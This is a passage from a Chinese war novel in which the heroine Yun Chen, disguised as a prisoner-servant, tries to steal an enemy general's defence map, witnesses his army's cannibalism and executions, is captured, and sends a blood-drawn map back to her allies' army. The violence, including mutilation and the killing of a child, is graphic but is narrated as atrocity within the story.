一个厨子正在挥动**,将一条人腿剁成小肉块,目光扫到门口的云琛,他用稀松平常的语气问:
“饿了?给你盛块肉?”
云琛说不出话回应,她整个人都是冰凉发麻的。
那厨子又看云琛一眼,往锅里倒进浓浓的香料,盛出一碗肉汤,放在靠近她面前的桌子上,道:
“瞧你这样子,也是从烟城抓来的吧。吃吧,别挑三拣四了,你也活不了几天,两万俘虏,二十万人要吃,才能吃几天呀……”
那厨子后面又说了些什么,云琛已根本听不见。
她看着面前那热气腾腾的肉汤,里面那散发着香料味的白肉块,直接喉头一紧,猛地弓腰吐了起来。
厨子见状笑道:
“我看你还是吃饱了撑的,否则别说别人的肉了,自己的肉也吃得下去。我见太多了。军中最早开始**的时候,都是抗拒不吃,但空着肚子打几场仗下来,饿得连屎都想吃,还管他什么肉?”
厨子说着话锋一转,面色竟带着一些诡异的怪笑:
“我们吃你们烟城人,吃得饱饱的,吃完还要去打烟城,嘿嘿,厉害不?”
云琛吐得满脸鼻涕眼泪,几乎要将苦胆都吐出来,腰都直不起。
当厨子背过身切菜的时候,她忍不住充满恨意的眼神死死瞪着他。
都是畜生!
吃同类的畜生!
丧尽天良要下地狱的畜生
可杀一个厨子有何用?!
要杀那个制定如此残暴军规、统领黑鳞骑兵如此灭绝人性的焦左泰!
要杀就杀光所有黑鳞骑兵!叫他们二十万人一个个断头洒血!血债血偿!
所以!冷静再冷静!切莫冲动坏大事!
继续去盗防布图!
坚定住!
盗图成功后!一刻不停!立马带狮威军来杀光他们!
云琛用袖子狠狠擦过脸,心中陡然生寒,正欲杀意决绝而去,却听那厨子使唤她道:
“炉膛里火有点小了,给我烧点进去。”
见云琛垂着脑袋不动弹,那厨子又喊了一遍,接着说:
“衣服和头发烧得太快,你拿地上的棍子捅一捅,压实些——我在跟你说话呢,听到没有?小杂役,别怪我没提醒你,听话的话,还能多活两天,不听的话,我现在就叫人来剁了你。”
最后一句话令云琛满腔愤怒平息些许。
此番潜入不易,断不可在此横生枝节,令自己陷入困局。
她慢慢从地上爬起来,走到摞得小山一样高的、各式各样的衣服和头发前,闭眼遮住泪,眉头却控制不住地轻轻颤动。
她垂首默哀片刻,然后缓缓伸手抱住一团,走向炉子,跪在炉膛前。
该是什么样的心情啊……
该有多无力、**又痛苦……
她感觉像是亲手将烟城的老百姓塞进炉膛里杀死一样,那火苗一点点旺盛燃烧,就像灼烤在她血淋淋的心上。
“用棍子捅一捅呀!”
厨子用不耐烦的声音再次提醒,一脚将地上的长棍子踢过来,骨碌碌滚到云琛手边。
她下意识伸手握住——
一种冰凉又熟悉的感觉,自手掌传向心头。
她愣愣地打量手里的“长棍”,仔细从那已经发黑、簌簌掉落着黑灰的端头中,去寻找熟悉的痕迹,果然发现一道“米”字形的裂纹。
那是她还是烟城一个小小流浪武师的时候,有一次替老奶奶抢鸡蛋,用拐杖挑鸡蛋筐时,不小心将拐杖端头撞在墙上,砸出来的一道裂纹。
那时,她想给老奶奶赔个新拐杖,老奶奶却笑着说:
“不打紧,这才好看呢,一个‘米’字,是云小子给我的天下独一份,哪个老婆子老头子也别想和我抢,这拐杖保准丢不了哈哈……”
老奶奶慈祥疼爱的音容犹在,可眼前这拆骨食肉的炼狱,已拼凑不出任何一个完整的人样。
那份刚刚才涌起的决绝杀意,此刻突然如沸水蒸腾,化作痛彻心肺的无力灰烟。
“它的主人呢……”云琛两手紧紧攥着拐杖,接连吞咽了好几次眼泪,才能开口说话:“它的主人……在哪里……”
厨子扫了眼那用了多日,长度合适又顺手的“烧火棍”,朝炉灶上的锅子努了努嘴:
“锅里呗,要不在谁肚子里,或者拉出来在茅坑里,不然还能是哪里?”
他的语气那么理所当然,好像在说一件天经地义的事,接着继续在厨台上忙活,一边斩肉,一边愉快地哼起小调:
“男是肉筋壮,女是不羡羊……老是烧把火,小是脱骨烂……”
何其灭绝人性的一幕啊
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……
此后好些年,云琛都始终忘不了当时的情景。
无数个午夜梦回时,她无数次地回到那布满血迹的伙房,听厨子唱着诡异压抑的小调,伴随着刀起刀落的斩骨声……
可无论她怎么努力,她都想不起来,她最后是如何离开那个伙房的。
她只记得自己一遍遍无声默念着“防布图……防布图……”然后拖着锈铁一样沉重的脚步,继续向黑鳞骑兵的中军大营走去。
她穿过一个又一个营帐,疯狂地刷恭桶、换恭桶,像是要将所有情绪发泄在最恶臭的脏污里。
这么没白天没黑夜地干了整整五天后,她终于来到黑鳞骑兵的中军大营。
虽然心情异常压抑,可她没有忘记自己的使命。
她将一路见到的营地分布,一一详细画在纸上。
打量手里图纸,已经是整整一半的防布图。
这是她当初计划过的两手准备,一边盗图,一边自己画一张。
此刻这两手准备却突然成了“两难选择”。
是拿着这半张图回狮威军,以五成把握来率军袭击黑鳞骑兵?
还是再冒险一把,去焦左泰帐中盗完整的防布图?
云琛突然陷入犹豫,这时,脑海却再次浮现出那满墙悬挂烟城同胞残骸的情景。
她的眼神随即慢慢发狠、坚定。
如果就这样回去,狮威军兴兵进攻,黑鳞骑兵吃了亏,今后必定戒备更森严。
再想这样混进来,几乎难如登天。
不会再有第二次盗防布图的机会——
也不会再有第二次离焦作泰这么近,这么有把握神不知鬼不觉接近他、杀了他的机会。
打定主意,她快速收拾出一个干净桶子,将一条麻绳拴在上面,开始往中军大营的主帅帐走。
如丹蔻所说,焦左泰不喜人多,只有两个士兵守在大帐门口。
但周围都是军官级别的帐篷和亲兵,一旦大帐有任何动静,少说能有几百个人同时冲过来。
见云琛直愣愣地往帐子里冲,门口的士兵赶忙阻拦,骂道:
“干什么?收恭桶?将军的恭桶都是我们收,谁允许你来的?”
云琛装出一脸焦急,“啊巴”“啊巴”地一顿乱比画。
另一个士兵叫云琛拿出名册,对着那张带着屎尿痕迹的名册看了半天才作罢,“烟城来的俘虏?你知道这什么地方吗,就敢往里冲?”
云琛指指恭桶,又是一顿胡乱的手势,表情委屈得快哭了。
两个亲兵对视一眼,其中一人阴险笑了一声,只搜了下云琛的靴子和袖子,两个最易藏**的地方,而后掀起帐帘:
“进去吧,不拦你。”
云琛连连鞠躬道谢,提着桶子走进去,身后帐帘落下,她清楚地听见那亲兵说:
“让这蠢东西去,惹**了将军才好,晚上又能加肉了。”
“这人太瘦,没多少肉。不过总比没得吃强。”
第209章 阿童
在走进焦左泰的大帐之前,云琛预设过很多种情况:
如果与焦左泰迎面相对,她该怎么杀;
如果焦左泰正在用饭或看军报,她该怎么借口接近。
任谁也想不到,会有人只拿着一根麻绳,就要去了结敌方的首领大将。
而云琛好像也突然忘记了一路犯险来此的初衷,将防布图抛之脑后,满脑子只盘算着该怎么动手。
她将麻绳从桶子上解下来,继续提着桶子,轻手轻脚地往里走,再次确定四周没有防备,一个暗卫都没有。
似乎真的是焦左泰不喜人多。
云琛有信心在周围的黑鳞骑兵们听到动静之前,干净利索地用单绳绞杀焦左泰。
至于杀了他之后,该怎么逃出去,她没空细想,走一步看一步吧。
这番思索间,云琛已走进里间帐篷。
她不自觉将手中麻绳握得更紧,呼吸放得越低,谨慎打量过去——
焦左泰背对着她,正面朝里躺在榻上。
他没有穿锋利的黑鳞铠甲,只穿着一身松散常服,隐约可见结实有力的后背和臂膀。
听到云琛进来的脚步声,焦左泰没有动。
只有榻上的丹蔻抬起惊恐的双眼,无助地看过来。
丹蔻小心翼翼转动眼眸,垂睫看看躺在自己双腿上的焦左泰,又看向云琛手中的麻绳,嘴唇颤抖却不敢发声,神情十分惊恐。
云琛轻轻停下脚步,这才发现焦左泰虽然头躺在丹蔻腿上,但手里却握着一把锋利的**。
他闭眼睡着,但**尖一直紧紧抵在丹蔻的心口。
“唱‘阿童’吧。”
焦左泰突然出声,吓得丹蔻一抖,好似并没有发现背后的云琛。
刀尖瞬间刺破丹蔻胸口皮肤,一道殷红的血迹冒出来,顺着雪白的肌肤缓缓流下。
丹蔻脸色青白,呼吸都在哆嗦,只好同往常一样,一手轻轻抚摸焦左泰的头发,另一只手轻拍他的后背,像哄孩子一样,开始颤声吟唱:
“阿童复阿童,衔刀游渡江。不畏岸上兽,但畏水中龙……”
这是焦左泰吗?
那个**不眨眼,军风狠毒如禽兽的焦左泰?
如今却要躺在女人的怀里,听着歌谣才能入睡。
真是滑稽又诡异。
可他到底在睡梦中都不能放下戒心,手中的刀自始至终没有离开过丹蔻的心脏。
看出丹蔻眼中强烈的求生欲望,云琛顿住了手里的麻绳。
她没有刀剑那样可以一击即杀的武器,用绳子去勒焦左泰的话,需要一定时间才能勒死他。
在这“一定时间”里,焦左泰只需一瞬间,就可以将刀尖扎进丹蔻的心口。
犹豫刹那,云琛果断决定放弃,计划重新找机会再来。她不能叫丹蔻白白赔上性命。
反正她人已经在黑鳞骑兵营地,不怕再找不到机会。
她开始轻手轻脚地往后退,刚退到外间帐篷,却见焦左泰突然坐起身,一边揉着疼痛不已的脑袋,一边抬起犀利阴沉的目光看过来。
云琛几乎是一瞬间垂下眼睛,佝偻起身子,变为战战兢兢的胆小模样,装出给恭桶换水的架势。
焦左泰似乎也不太在意这个下等杂役,随意地问了一句:
“听说,你登记名册丢了?”
丹蔻畏惧地跪在榻上行礼:“回将军,大概是前几日回去得晚,丢在路上了,天又黑,便没瞧见。”
焦左泰点点头,“哦”了一声,“你去中军营的伙房吧,告诉厨子,我晚上要喝肉羹。”
丹蔻并不明白这意味着什么,但已搬着桶子走到门口的云琛,却后背一寒,下意识顿住了脚步。
焦左泰看一眼云琛的背影,又对丹蔻道:
“正好,让这个杂役带你去,他肯定知道伙房在哪。”
云琛立刻回身行礼,恭敬地道了声“小的遵命”,一边退出帐篷,一边飞快对丹蔻使了个眼色。
丹蔻不明缘由,傻傻地跟着云琛走出去。
在二人离开帐篷,帐帘即将落下的时候,焦左泰对门口站岗的士兵打了个暗语手势。
后者立刻会意,叫来六个身穿黑鳞铠甲的亲兵,将丹蔻团团围住,快速往伙房带。
云琛本想走在最前面带路,趁机寻找可以带丹蔻脱身的法子,结果却要快步才能跟上几个亲兵的速度,不至于跟丢。
很快,云琛还未想到脱身之法,六个亲兵已将丹蔻带到烹煮锅子的伙房。
几人不由分说,抓起丹蔻的胳膊
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,拖到那血迹斑斑的巨大案板前,三两下扒光她的衣服。
丹蔻一开始还以为,几个亲兵是要做那混账事,还极力地扭动腰肢,嘴里不停说着讨好的话。
但当她注意到墙上一排排待风干的人腿时,她立马反应过来,不禁脸色煞白,失声尖叫:
“救命!!救命!!求将军饶命!!”
丹蔻骇然瞪大双眼,整张脸都因为恐惧而扭曲起来。
她全然不在意自己浑身一丝不挂,不停地疯狂挣扎,却怎么都逃不脱钳制。
这时,那厨子走过来,上下打量丹蔻两眼,问道:
“将军还是吃肉羹?”
一个亲兵点头称是,那厨子立刻摁住丹蔻的头,准备一刀割喉放血。
另一个亲兵伸手阻拦,别有深意地笑道:
“慢着,别着急,好戏还在后头呢!”
那厨子不解地放下刀,而后便看见所有烟城俘虏来的杂役,全都被陆陆续续驱赶了过来。
一大群黑鳞骑兵围成一个圈,将包括云琛在内的二百个俘虏杂役牢牢圈在其中。
二百人茫然无措地站着,在看到一丝不挂的丹蔻,以及满墙的人体残肢后,都恐惧地低下头。
不知道这是要做什么,云琛心中大乱,但也学着身边人的样子,缩起肩膀,垂下眼睛,一副怕得要死的模样。
她用眼角偷偷打量四周,最近的一个黑鳞骑兵离她大约二十丈,如果冲过去,抢下对方的佩刀一战,去救丹蔻……
在这二十万黑鳞骑兵的中央动手,只怕她毫无胜算。
此时,焦左泰已穿戴整齐而来,一身黑鳞铠甲幽光冷冷,不紧不慢地走到了丹蔻身边。
他拿起案板上的厨房**,用刀尖挑起丹蔻的下巴。
“说,登记名册给谁了?”
丹蔻愣了一下,拼命摇头,声音哀求:
“丢了……真的丢了……求将军饶命!我再也不敢了!!”
焦左泰装模作样地叹口气,惋惜道:
“丹蔻姑娘,我给过你机会了,是你自己不珍惜。我挺喜欢你的,真的。”
说罢,两个黑鳞骑兵拽出丹蔻的胳膊,死死摁在案板上。
焦左泰当即扬起**,刀锋对准了丹蔻的肘关节。
第210章 你要听话
刀已扬起。
任丹蔻如何痛哭求饶,焦左泰完全不为所动,面上连一丝动摇都没有,只对站在黑鳞骑兵包围圈里的二百个俘虏杂役道:
“丹蔻的登记名册丢了,但整个营地都没人捡到。说明很可能有人偷偷混进来了。我数三下,你自己站出来,我便饶了她。否则我砍了她的胳膊——那么开始!一!”
二百俘虏杂役面面相觑,吓得面如土色,却没有人敢说话,耳边只闻丹蔻绝望的哭求声。
云琛紧紧攥着拳头,狠狠咬住牙齿。
没想到焦左泰治军如此严厉细微,仅凭一份登记名册便料定有奸细潜入。宁错杀不放过吗?
要动手吗?
去救丹蔻,没有胜算!
不救,丹蔻会死!但她可以拿着防布图回去打黑鳞骑兵!救更多的老百姓!
“二!”
焦左泰大喝一声,云琛的思绪被截断,她下意识往前走了半步。
不知道是不是云琛的错觉,焦左泰仿佛朝她看过来,莫名怪笑了一下。
云琛硬生生停住脚步,控制住想要杀出去的冲动。
可停下之后,她又立刻后悔。
若连一个小小女子都救不了!算什么保家卫国?!
可小不忍则乱大谋!一个人的命重要?还是千千万万老百姓的命更重要?!
云琛从没有感觉这么慌乱艰难过,心里像有一黑一白在厮杀决斗,让她分不清到底该怎么做才是对的!
她悄悄抬眼,看向浑身赤裸却已顾不得羞耻的丹蔻,如同一条绝望待宰的鱼,在案板上苦苦挣扎……
一瞬间,她甚至希望丹蔻出卖她,指着她大喊“那就是奸细,就是她抢了我的登记名册”。
然而丹蔻没有,她只是痛哭求饶,嘴里不停地说着“真的丢了!是真的!我没有骗您!求将军饶命!”
小小青楼女子,即使会为了活命而迎合讨好禽兽不如的敌军,却亦知国仇家恨当前,当舍车保帅。
丹蔻虽不懂什么叫防布图,但她知道保住云琛,就是保住驱逐敌寇的希望。
云琛明白丹蔻的决绝,怎忍辜负?几乎要将牙齿咬碎,却终究颤抖着闭上了眼睛。
“三!”
随着焦左泰话音落下,云琛清楚地听见刀刃划破空气的声音。
丹蔻发出一声尖锐的惨叫,只听“咣当”脆响,**重重落下。
云琛猛然睁眼去看,却见**落在离丹蔻胳膊只有一毫距离的案板上,砍出了深深一道木纹劈痕。
丹蔻吓得浑身一软,直接两眼一翻,瘫倒在地上。
焦左泰和周围的黑鳞兵们都哈哈大笑起来,像是在看着一幕有趣的小丑戏。
云琛暗暗松口气,后背已经全部汗湿。
她不动声色地打量焦左泰,后者正快活大笑,一副将人**于股掌之上的狡诈得意。
云琛想要牢牢记住焦左泰这张脸,终有一天亲手将他千刀万剐。
大概是被恨意冲昏了头,云琛不觉盯了焦左泰好一会儿。
不知是不是感觉到云琛的目光,焦左泰的笑容慢慢消失,提着刀向云琛走来。
焦左泰一步步靠近,站定在云琛面前。
她缓缓低头,浑身紧绷,已做好随时爆发的准备。
然而焦左泰只是抬起手,一把抓住了她身边的人。
焦左泰抓住一个蓬头垢面、看起来只有十几岁的孱弱少年,拽着他的头发,拖到丹蔻面前。
少年战战兢兢,偷偷瞄了丹蔻一眼,无声地落下两行眼泪。
一见那少年,几乎要昏死过去的丹蔻突然猛地爬起来,不顾赤身裸体的难堪,爬行到焦左泰脚边,“砰砰”直磕头。
“将军!您答应过我的!饶我弟弟一命!就当留只小狗在身边逗着玩!您知道的,我自幼丧父丧母,就是为了养活弟弟,才委身做娼。您听了这些,还说我是个好姐姐!将军,求您别伤害我弟弟,您让**什么都行!求求将军!!”
“我是答应过你。”焦左泰像个大哥一样搂住少年的肩膀,语气看似轻松愉快,却透着十足的威胁狠毒,“不过丹蔻,你忘了,我答应你的前提是——”
停顿了一下,焦左泰接着说:“你要听话。”
在说出最后四个字的同时,焦左泰以最快的速度举刀、割喉——
鲜血从少年破裂的喉管喷射出来,洒在丹蔻雪白赤裸的皮肤上。
少年的身体缓缓倒地。
丹蔻随之发出凄厉的惨叫:
“啊!!!啊——”
全场所有俘虏杂役,都被这突如其来的一幕吓得呆若木鸡,就连云琛都愣在原地。
紧接着,两个黑鳞骑兵一把将丹蔻从地上拖起来,再次摁在案板上。
这一次,没有倒数,没有那虚情假意的“机会”。
一个黑鳞骑兵扬起刀,迅速斩断了丹蔻一条胳膊。
动作之突然,就连丹蔻自己都没反应过来。
她原本还在为弟弟哭嚎,直到看着断臂缓缓流出血,骨碌碌掉落在地上,她才为自己崩溃嚎叫起来。
云琛愣愣看着眼前一切,脑中似有狂兽暴鸣,叫她浑身的血都涌上了头顶。
除了无穷的愤怒与杀意,她已感觉不到其他任何。
就在她将要暴起的一瞬间,一只手突然牢牢扣住她的肩膀,摁下了她所有动作。
焦左泰不知何时已来到她身后,一身黑鳞铠甲紧紧贴着她身侧,锋利的鳞片扎得她皮肉生疼。
他眼神阴厉,面上是既**又狠毒的笑容:
“女人和小孩嫩,做肉羹最好吃。一会你也尝尝?英雄嘛,都有一个弱点,就是见不得老百姓受苦受难。但你不是,你是懦夫,所以你眼睁睁看着他们死,为你这个‘奸细’而死。”
焦左泰的每一个字都贴着她耳畔响起,让她满腔怒火喷薄上头,几乎无法冷静思考。
她目光瞥到焦左泰腰间的跨刀,刚要动手,焦左泰却已预料到她的动作,猛地退开。
十几个亲兵迅速围上来,刀尖纷纷对准云琛。
焦左泰站在包围圈之外,颇为欣赏地打量云琛:
“有种,我很欣赏你。”
云琛的眼神迸发出十足的恨意,尽管明白自己早已暴露,眼前一切不过是焦左泰的恶意戏耍,但她嘴上还是试图做最后的伪装:
“我听不懂你在说什么。”
焦左泰笑起来,像一只吞吐着信子的毒蛇,“你是想知道哪里露出马脚了,对吗?”
云琛
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没有说话,焦左泰指指她的脸,“易容面皮不错嘛。如果方才在大帐里迎面看见你,我估计认不出来。可你偏偏出现在我背后。”
焦左泰边说边摇头,像是替云琛可惜,又像是训诫:
“小子,你身上杀气太重了,我整个后背都是凉的,能感觉不到吗——换做是你也一样的,直觉这玩意儿,有时候真的很准。”
说罢,十几个亲兵齐齐朝云琛杀去。
云琛一勾拳打碎一个亲兵的下巴,夺过战刀,开始生猛厮杀。
仇恨让她失去理智,双目通红欲裂,嘶吼着朝黑鳞骑兵杀去。
招招干脆利落,刀刀取人性命。
云琛杀得狠,杀得准,架不住又有更多的亲兵蜂拥而上。
云琛本来专注在杀,可另一边的丹蔻却开始更加惨厉地哀嚎,瞬间吸引了云琛的注意力。
丹蔻的另一条胳膊也被砍断,两臂从手肘处齐齐断裂,整个人倒在案板上,一动不动。
云琛想要冲过去救丹蔻,却在这分神的瞬间被一刀砍在小腿,直接跪了下去。
七八条锋利的刀刃立刻伸过来,交错架在云琛的脖子上。
那张画了一大半的防布图从她怀里掉出,焦左泰用刀尖挑起,打量两眼,神色陡然一变。
“真当自己是个无所不能的救世英雄了?”焦左泰将防布图扔进炉膛,烧得干干净净,而后上前抓起云琛的头发,狠狠向后拉扯,强迫她看向伙房。
用这世上最怨毒、最令人悚然的声音,焦左泰狞笑道:
“大英雄,我倒要看看,你今天能救几个。”
说罢,两个亲兵掀开伙房旁边的围帐。
本以为是个存放粮食或厨具的帐子。
但帐帘掀开,几个大狗笼赫然出现在云琛视线,里面是一个个赤身裸体、被牢牢捆缚着四肢的烟城百姓。
有老有少,有男有女。
所有人一丝不挂,赤条条地挤在一起,口中被塞堵住,发不出什么声音,只能看见一张张恐惧到五官变形的脸。
像宰杀牲畜一样,两个厨子从笼子里拖出一人,麻利地一刀割喉。
放血,抽搐,剁块,熬煮。
一个又一个死在云琛眼前,她眼睁睁看着,声嘶力竭地呐喊,直到嗓音破裂,也根本无济于事。
“吃我啊!!狗畜生!!有种杀我!!!”
云琛不顾一切地挣扎,横在她脖间的刀刃稍稍松开些,没有要她的性命,却也划出七八道伤口,让她脖颈间看起来血淋淋一片,十分吓人。
可她根本感觉不到疼痛。
她看着一个又一个人被拖出来,笼子逐渐变空。
到最后,笼子里只剩一个瘦瘦小小的姑娘,她拼命将头埋进膝盖,试图隔绝那惨绝人寰的叫声。
厨子毫不犹豫地将小姑娘拖出来,竟是一个看起来只有十岁的孩子。
没有挣扎,没有反抗,就那么任由摆布地被摁在案板上。
最后一刻,那孩子看向云琛,一双空洞的眼睛闪过一丝可悲的光彩,她轻声叫道:
“云哥哥。”
寒刀扬起,锋利斩下。
那个抱着猫儿转圈跳舞,求着云琛找猫的小姑娘……
从此再也没有了。
第211章 唯一的希望
“云哥哥。”
“云哥哥。”
“云哥哥。”
一声声空洞又凄凉的呼唤,将云琛从噩梦中惊醒。
她舔舔干硬到裂口子的嘴唇,却没有一丝吐沫能够湿润。
五天没有吃饭,三天没有喝水。
她开始感到头晕目眩,耳鸣震颤,浑身瘫软得没有一丝力气,又不停地出现幻觉。
她总是听见妙妙在喊她“云哥哥”,老奶奶苍老慈爱的声音叫她“云小子”。
总是看见丹蔻的弟弟捂着喷血的脖子倒下,丹蔻胡乱挥舞着两截雪白的、光秃秃的、露着骨头的断臂。
可循声看去,四周只有密密麻麻看不到尽头的黑鳞骑兵营帐。
数不清的黑色铠甲在周围来回走动,踩在雪地上,发出“咯吱”的响动。
南方的雪阴冷透骨,很容易融化,可以解渴。
可她被关在一个铁质的大狗笼子里,四周积雪被清扫得干干净净,连草都被扒得精光,没有一点可以吃喝的东西。
她口干舌燥,浑身干痒得想发狂,却连吼一嗓子的力气都没有。
她倒在笼子里,明晃晃的日光照着她的眼皮。
模糊之中,她看到一个黑色的身影靠近,将一碗热气腾腾的东西放在笼子边。
一股食物湿润蒸腾的香味钻进鼻子,强烈的饥饿感吸引着她生出力气,一步步爬到笼子边。
一碗热腾腾的肉汤出现在眼前,焦左泰蹲身看着她,没有平时的狠毒阴险,竟一脸关切和善,声音温和地劝导:
“吃点吧,没有命,什么也干不了。活下去才是最要紧的。”
盯着肉汤,云琛艰难地咽了口吐沫。
她感觉这辈子都没有闻过这么香的食物,真想不管不顾,忘记所有仁义道德,吃上一口汁水饱满、热气腾腾的肉啊……
看到她饿狼般紧盯肉汤的眼神,焦左泰将碗端起来,更加靠近她的嘴边,循循善诱:
“吃吧。就和吃牛吃羊是一样的,这世道就是如此。你今天吃下去,没有任何人会怨你,这件事天知地知你知我知。你只是想活,你没有错。”
焦左泰的声音像有魔力一般,蛊惑得云琛心中升起强烈冲动,差点就要扑上去。
她伏在笼子边,盯着那碗肉汤,艰难地舔了舔嘴巴,最后在焦左泰的注视下,一步步退了回去。
她重新瘫倒在地上,将脸贴在地上,深深咬了一口腥臭的泥土,将那泥,那沙,一粒粒吞进去,咽下去。
嘴里干巴得像枯木。
泥土咯着牙齿和耳膜,划得嗓子生疼。
她慢慢停下吞咽,四肢松软无力地瘫下。
笼子外,焦左泰沉下目光,眼神变得十分复杂。
“有什么好强撑的,你算不得什么英雄。为了自保,你眼睁睁看着那么多烟城老百姓**,忘了吗?不,你这辈子都不能忘。”
......
......
深夜,黑鳞骑兵的营地陷入寂静,一簇簇篝火逐渐熄弱。
云琛一动不动地躺在地上,时而清醒,时而昏迷,从一个接一个的噩梦里挣扎苏醒,静静地等待她人生的最后一刻。
焦左泰好像压根就没打算拷问她些什么,或者逼问情报,和她谈判,给她说“霍乾念愿用全部身家换我性命”的机会,似乎只打算放她等死。
她没有精力深入思考,连去思念霍乾念的力气也没有。
就这么躺着,月光轻轻洒在她的脸上,冷白色的光却让她感到莫名的温暖和困意。
意识即将再次模糊之际,她感觉到一点小小的冰凉在触碰她的嘴唇,融化出一滴水,流进她干涸的口中。
完全出于本能,她一口咬下那冰凉,整个吞下。
不够,完全不够。
她贪婪地张着嘴,想再吃一口冰,吞一口水,却没力气坐起身去寻找源头。
她费力地转动头,正见墨墨动作轻盈灵巧地跑去不远处的空地上,用两只小爪子捧起雪块。
它黑色的皮**与夜色融为一体,没有引起任何黑鳞骑兵的注意。
墨墨小小的身躯再次穿过笼子,捧着雪块来到她脸旁。
她将鼻尖埋进那一团暖烘烘毛茸茸的触感,咽下一个又一个雪块。
像是皲裂枯死的大地终于迎来细雨,她开始感到意识清晰,四肢可以活动,脑子也不再那么昏沉。
不知道吃了多少雪块,直到墨墨累得气喘吁吁,举起小爪子表示**,云琛才勉强一笑,抬手摸了摸墨
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墨的小脑袋。
不知道墨墨是怎么找到自己的,云琛看着眼前这个极有灵性的小家伙,犹豫片刻,开始动手撕扯衣衫。
只是解了些渴,没有吃东西,她还是没有太多力气。
平时轻而易举就能撕扯下的衣服,这会却怎么都扯不动,最后还是靠着墨墨的小尖牙划破一个口子,她才扯下一大块布。
她拿着布,闭上眼睛,开始仔细地回忆那份被焦左泰烧毁的防布图。
心中定好草图,她将手指放在墨墨嘴边,小声道:
“小煤球,咬我一口,一定要咬出血。”
墨墨眨巴着两颗小绿豆一样的眼睛,不知所以地望着她,往后退了一步。
“没事,是我让你咬的,别怕。”她又说。
墨墨却怎么都不肯,又后退一步,摇了摇头,竟极通人性地表现出“坚决拒绝”的态度。
无奈,她只好自己咬住指尖,狠狠用力,反复好几次才咬破。
鲜血滴落在布上,她一点点画出防布图的轮廓,
只是血液又少又粘稠,很快就凝结了,她不得不对准已经破过一次的手指地方,再次咬破。
大概是太久不吃东西,没有体力的缘故,平时刀砍火烧的痛都能扛过去,眼下只是咬破手指而已,她却疼得身上战栗,头不住发晕。
见她这副样子,墨墨轻轻“吱吱”两声,焦急地原地打圈,然后一把扑上她的手,试图用两个小爪子阻拦她的动作。
她将墨墨推开,继续专注仔细地画图。
一笔一笔颤抖着画下,伤口凝结了就再次咬破。
就这么破了写,写了破。
直到记忆中所有关于黑鳞骑兵营地的分布防备信息都一一画下,她才发现指尖已烂糊一片,几乎惨不忍睹。
虽然不是一份完整的防布图,但十之七八,足够霍乾念排兵布阵,发起有利进攻。
她将防布图卷起来,牢牢捆扎在墨墨的背上,摸摸墨墨的头:
“剩下的就靠你了,带人来救我呦......”
她不知道这个聪明伶俐的小家伙,是怎么百里迢迢找到这里来的,又能否原路回去,将图带到。
可眼下只有这么一点希望。
唯一的希望。
第212章 阿念,下雨了吗
披着月光,迎着夜风,一个猫一样灵巧无声的黑影,背着那散发着血腥味道的防布图,星路狂奔,不敢停歇。
在树林中穿梭,在溪水岩石上跳跃。
墨墨只是貂儿,并不懂什么叫“时辰”“日子”,只见到太阳东升西落了四五次,它才终于又看见熟悉亲切的狮威大旗。
月光下,它穿过无数全副武装、席地而眠的士兵们,钻进知罗的营帐。
见知罗不在,它直接后腿一蹬,调转方向,冲向主帅大帐。
大帐内外也是横七竖八睡了一地的人。
它踩着荣江的铠甲而过,跳过呼呼大睡的荣易的头,一爪踩在花绝的脸上,尾巴扫过叶峮的鼻子,跳进霍乾念的怀里。
像是一直在等,时时刻刻在等,从未敢放松过一瞬间——
霍乾念陡然睁开眼睛,猛地坐起身,犀利的目光锁定在墨墨的背上。
他一把扯下防布图,差点拽得墨墨翻个跟头。
摊开防布图,深红色的线条断断续续,深浅不一,却清晰地画出大半个黑鳞骑兵的营地分布。
血迹最深的地方已经凝结,掉下细小的血渣子,却如最沉重又滚烫的烙铁一般,落在他的掌心。
他知道,云琛要么被俘,要么已经受伤出事了。
颤抖着将防布图塞进心口,他红着眼睛,硬生生从嗓子眼里挤出一道几乎变形的声音:
“全军听令!即刻出发!!”
叶峮和花绝第一个从地上弹跳起来。
荣江和荣易连眼睛都没来得及睁开,也顷刻翻身而起。
大军开拔的号角声响彻夜空。
下一瞬,整个营地里里外外,只闻铠甲与战刀摩擦碰撞的锋利声,如冷海寒浪一般,从四面八方翻涌而起,听得人头皮发麻。
因为墨墨不见了,连日找寻无果的知罗回到帐篷。
只见原本安静入夜的营地,此刻却人潮涌动。
将士们大步奔走,眨眼间便已有序列队,铁马奔腾如浪,地动山摇般冲向黑鳞骑兵的营地方向。
知罗感觉浑身一麻,热血涌上心头。
她将目光落在策马最前的霍乾念身上,并没有看见他的神情,只能看见一个背影。
那背影高阔,铠甲伟岸,手中长剑已迫不及待地出鞘,寒寒剑锋高扬指月。
那剑刃盛着堂堂狮威将军的英明决断,也盛满独为一人心焦如焚的冲动生狂。
从云琛独自离开至今,每一天,每一夜,所有人都全副铠甲装备不离身地在等。
这两日已到了席地而睡,可以随时立刻出发的程度。
全是为了云琛吧……
一瞬间,热血冷却,一股前所未有的酸意袭上心头。
知罗反复深呼吸,调整心绪,想赶走这突如其来又令她措手不及的可怕情绪。
……
……
另一边,黑鳞骑兵营地中,云琛在墨墨离去后,又昏昏沉沉地熬了七八天,直到一声凄厉的悲呼:
“云哥哥!”
再次将云琛从垂死边缘的梦境拉回。
她从深沉粘稠的噩梦中惊醒,这才发现眼前已火光冲天,黑影乱舞,耳边全是激烈的刀剑**声,还有战马嘶吼的声音。
足足愣了好一会儿,她才反应过来,应该是狮威大军杀进黑鳞骑兵营地了。
她想爬起来呼救,可惜连动动手指的力气都没有,只能眼睁睁地看着两个黑鳞骑兵冲过来打开笼子,像拖死狗一般地将她从笼子里拽出来,扔在马背上,朝与狮威大军相反的方向狂奔。
十几天以来,只喝了几口墨墨偷送的雪球水,吃了几口土,和半块焦左泰扔进来的剩饼子,云琛浑身瘫软如泥,没有一丝力气反抗,只能任由两个黑鳞骑兵带着她越跑越远。
很快,她听见花绝的声音追上来,他一边猛冲猛杀,一边不停大喊着“阿琛!”
她垂头趴在马背上,没有力气回应。
见此,花绝更急,更加用力驾马追上,丝毫不顾已深入敌军包围。
只可惜狮威军的马不及黑鳞骑兵的战马速度快,花绝很快被甩下,刚刚落后,叶峮就接替冲了上来,却立刻被蝗虫一般密集的黑鳞骑兵团团
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围困,苦战不休,不得前进。
叶峮干脆大喝一声,扑上去与几个黑鳞骑兵抱摔下马,硬生生砸出一个缺口来。
荣易随即从缺口处跃马而出,一边奋力厮杀,高声叫骂,一边冲向云琛的方向。
远远地,荣易向云琛伸出手。
马越追越近,眼看荣易就要碰到云琛的衣角,几个黑鳞骑兵却突然冒出来,大力甩出绊马索。
